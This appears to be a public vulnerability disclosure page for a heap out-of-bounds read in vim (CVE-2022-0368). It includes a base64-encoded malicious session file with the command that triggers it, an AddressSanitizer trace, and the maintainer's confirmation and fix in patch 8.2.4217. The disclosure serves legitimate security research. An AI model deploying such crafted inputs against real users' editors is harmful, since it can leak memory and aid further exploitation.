Out-of-bounds Read in vim/vim

Valid Reported on Jan 24th 2022

1

Description

A heap-based OOB read of size 4 occurs when a user tries to open a vim session file specified below. This happens regardless of any command line options that could be specified to restrict vim, such -Z and -m. This bug has been found on default vim build (lastest commit hash `8e4af851fd3eff4b22fca962e5be783742e8f1bb`) on Ubuntu 20.04 for x86_64/amd64.

Proof of Concept

Here is the smallest poc we were able to produce (it is base64 encoded since it contains some unprintable characters, it's also fairly large, but we haven't been able to minimize it further):

```
$ echo -ne "ZGVGEDAw7sow////f5kwMDAwMDAwMDAwMDAKICBkZWYwMDAwMDAwMDAwMDA
AAojf+QwMDAwMDAwlo0wMDAwMDAwMDAwMApbCiBzaWwhbm9ybTBlZW5kcyBzaWwhbm9ybTBSHir
kTB7DS8vA1ZubyAgbm9yCjB1CnN1ISowMDAwMDAwCnNpbCFub3JthyogKiBub3Iwbm+Nks+KZHN
ISosKgtub35tMHUJc2n/AApzaQAKICBkZWYgU2Vjb25kRnVuY3RpwTAwMDAwMDAwMDAwMDCsMDA
KDAJMDAwMDAwMDAwMDAwMDAwMDAwMDAwCm4=" | base64 -d > poc
$ vim -u NONE -i NONE -n -X -Z -e -m -s -S poc -c ':qa!'
==================================================================
==52803==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000
READ of size 4 at 0x6020000085b1 thread T0
    #0 0x7f76508e5f3f in __interceptor_memmove (/lib/x86_64-linux-gnu/libas
    #1 0x55b8deba6cce in ml_flush_line /home/faraday/vim/src/memline.c:4028
    #2 0x55b8deba0811 in ml_append_flush /home/faraday/vim/src/memline.c:33
    #3 0x55b8deba0a6c in ml_append_flags /home/faraday/vim/src/memline.c:33
    #4 0x55b8deba0956 in ml_append /home/faraday/vim/src/memline.c:3345
    #5 0x55b8de739794 in open_line /home/faraday/vim/src/change.c:2139
    #6 0x55b8dec75acf in n_opencmd /home/faraday/vim/src/normal.c:6528
    #7 0x55b8dec8320e in nv_open /home/faraday/vim/src/normal.c:7664
    #8 0x55b8dec3ab1f in normal_cmd /home/faraday/vim/src/n
    #9 0x55b8de9972ac in exec_normal /home/faraday/vim/src/ex_docmd.c:8629
    #10 0x55b8de99706b in exec_normal_cmd /home/faraday/vim/src/ex_docmd.c:
```

```
    #10 0x55b8de9970ab in exec_normal_cmd /home/faraday/vim/src/ex_docmd.c:
    #11 0x55b8de996589 in ex_normal /home/faraday/vim/src/ex_docmd.c:8510
    #12 0x55b8de958aa4 in do_one_cmd /home/faraday/vim/src/ex_docmd.c:2567
    #13 0x55b8de94c42d in do_cmdline /home/faraday/vim/src/ex_docmd.c:993
    #14 0x55b8deec9c2f in do_source /home/faraday/vim/src/scriptfile.c:1512
    #15 0x55b8deec6c0c in cmd_source /home/faraday/vim/src/scriptfile.c:109
    #16 0x55b8deec6dc9 in ex_source /home/faraday/vim/src/scriptfile.c:1124
    #17 0x55b8de958aa4 in do_one_cmd /home/faraday/vim/src/ex_docmd.c:2567
    #18 0x55b8de94c42d in do_cmdline /home/faraday/vim/src/ex_docmd.c:993
    #19 0x55b8de949fa7 in do_cmdline_cmd /home/faraday/vim/src/ex_docmd.c:5
    #20 0x55b8df446dc9 in exe_commands /home/faraday/vim/src/main.c:3091
    #21 0x55b8df4388bf in vim_main2 /home/faraday/vim/src/main.c:774
    #22 0x55b8df437da5 in main /home/faraday/vim/src/main.c:426
    #23 0x7f764ee940b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.
    #24 0x55b8de6c0cbd in _start (/home/faraday/vim/src/vim+0x125ccbd)

0x6020000085b1 is located 0 bytes to the right of 1-byte region [0x60200000
allocated by thread T0 here:
    #0 0x7f7650952bc8 in malloc (/lib/x86_64-linux-gnu/libasan.so.5+0x10dbc
    #1 0x55b8de6c117e in lalloc /home/faraday/vim/src/alloc.c:248
    #2 0x55b8de6c0f29 in alloc /home/faraday/vim/src/alloc.c:151
    #3 0x55b8de6c13c2 in vim_memsave /home/faraday/vim/src/alloc.c:601
    #4 0x55b8deba0ce3 in ml_replace_len /home/faraday/vim/src/memline.c:343
    #5 0x55b8df128fec in u_undoredo /home/faraday/vim/src/undo.c:2811
    #6 0x55b8df1262cb in undo_time /home/faraday/vim/src/undo.c:2563
    #7 0x55b8de991611 in ex_undo /home/faraday/vim/src/ex_docmd.c:7979
    #8 0x55b8de958aa4 in do_one_cmd /home/faraday/vim/src/ex_docmd.c:2567
    #9 0x55b8de94c42d in do_cmdline /home/faraday/vim/src/ex_docmd.c:993
    #10 0x55b8deec9c2f in do_source /home/faraday/vim/src/scriptfile.c:1512
    #11 0x55b8deec6c0c in cmd_source /home/faraday/vim/src/scriptfile.c:109
    #12 0x55b8deec6dc9 in ex_source /home/faraday/vim/src/scriptfile.c:1124
    #13 0x55b8de958aa4 in do_one_cmd /home/faraday/vim/src/ex_docmd.c:2567
    #14 0x55b8de94c42d in do_cmdline /home/faraday/vim/src/ex_docmd.c:993
    #15 0x55b8de949fa7 in do_cmdline_cmd /home/faraday/vim/src/ex_docmd.c:5
    #16 0x55b8df446dc9 in exe_commands /home/faraday/vim/src/main.c:3091
    #17 0x55b8df4388bf in vim_main2 /home/faraday/vim/src/main.c:774
    #18 0x55b8df437da5 in main /home/faraday/vim/src/main.c:426
    #19 0x7f764ee940b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.

SUMMARY: AddressSanitizer: heap-buffer-overflow (/lib/x86_6
Shadow bytes around the buggy address:
```

```
  0x0c047fff9060: fa fa fd fd fa fa fd fa fa fa fd fa fa fa fd fa
  0x0c047fff9070: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
  0x0c047fff9080: fa fa fd fd fa fa fd fa fa fa fd fa fa fa fd fa

  0x0c047fff9090: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
  0x0c047fff90a0: fa fa fd fa fa fa fd fa fa fa 03 fa fa fa 00 05
=>0x0c047fff90b0: fa fa fd fa fa fa[01]fa fa fa 01 fa fa fa fd fd
  0x0c047fff90c0: fa fa 00 01 fa fa fd fa fa fa fd fd fa fa 01 fa
  0x0c047fff90d0: fa fa 00 03 fa fa 01 fa fa fa fd fa fa fa fd fa
  0x0c047fff90e0: fa fa fd fa fa fa fd fa fa fa fd fd fa fa 00 01
  0x0c047fff90f0: fa fa fd fa fa fa fd fd fa fa fd fa fa fa fd fa
  0x0c047fff9100: fa fa 02 fa fa fa 00 01 fa fa fd fa fa fa fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==52803==ABORTING
```

Impact

This vulnerability is capable disclosing data and might lead to bypass protection mechanisms facilitating successful exploitation of other memory corruption vulnerabilities code execution.

Acknowledgements

This bug was found by Octavio Gianatiempo (ogianatiempo@faradaysec.com) and Octavio Galland (ogalland@faradaysec.com) from Faraday Research Team.

CVE
CVE-2022-0368
(Published)

Vulnerability Type
CWE-125: Out-of-bounds Read

Severity
Medium (5.5)

Visibility
Public

Status
Fixed

Found by

octaviogalland
@octaviogalland
unranked

Fixed by

Bram Moolenaar
@brammool
maintainer

This report was seen 881 times.

We are processing your report and will contact the **vim** team within 24 hours. 10 months ago

We have contacted a member of the **vim** team and are waiting to hear back 10 months ago

Bram Moolenaar 10 months ago

Chat with us

This actually looks similar to the issue reported with "t0", the copy command making the Visual area end invalid. In this case "undo" does that. I can reproduce it with the POC, will try to come up with a much simpler repro.

Bram Moolenaar validated this vulnerability 10 months ago

octaviogalland has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Bram Moolenaar 10 months ago Maintainer

Fix is in patch 8.2.4217. Managed to make a relatively simple test.

Bram Moolenaar marked this as fixed in **8.2** with commit **8d02ce** 10 months ago

Bram Moolenaar has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

Sign in to join this conversation

FAQ

contact us

terms

privacy policy